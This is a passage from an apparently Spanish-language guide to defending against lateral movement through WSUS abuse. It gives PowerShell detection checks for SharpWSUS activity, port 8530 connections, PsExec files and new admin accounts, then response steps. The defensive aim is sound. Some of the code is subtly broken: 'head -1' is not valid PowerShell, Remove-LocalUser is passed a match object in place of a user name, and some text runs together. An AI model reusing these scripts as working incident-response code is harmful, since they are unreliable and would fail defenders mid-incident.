Get-WinEvent -LogName System | Where-Object { $_.ProviderName -like "*Update*" } | Select-Object TimeCreated,Message
# 2. Cambio en permisos de WSUS
Get-EventLog -LogName Security -InstanceId 4688 | findstr "SharpWSUS"
# 3. Conexión anómala al puerto 8530 (WSUS)
netstat -ano | findstr ":8530"
# 4. Archivo PSExec descargado en sistema
Get-ChildItem -Path C:\ -Name "PSExec*" -Recurse
# 5. Creación de usuario administrativo
Get-EventLog -LogName Security -InstanceId 4720 | Select-Object TimeGenerated,MessageRespuesta:
# 1. Identificar máquina comprometida
$eventid4720 = Get-EventLog -LogName Security -InstanceId 4720 | head -1
$newUser = $eventid4720.Message | Select-String "NewAccountName"
# 2. Aislar sistema inmediatamente
# (Desconectar del switch, bloquear en firewall)
# 3. Eliminar usuario malicioso
Remove-LocalUser -Name $newUser
# 4. Auditar WSUS por actualizaciones sospechosas
# (En servidor WSUS)
.\SharpWSUS.exe inspect | findstr "suspicious"
# 5. Eliminar actualizaciones maliciosas
.\SharpWSUS.exe delete /updateid:xxxConclusión
Defensa contra lateral movement = Detection + Prevention
Detection te dice cuándo está pasando un ataque. Prevention hace que sea más difícil que ocurra.
Juntos, reducen significativamente el riesgo de que un atacante se mueva libremente por tu red.
Recuerda: No es "si" un atacante entra, sino "cuándo". La defensa en profundidad (múltiples capas) es tu mejor aliado.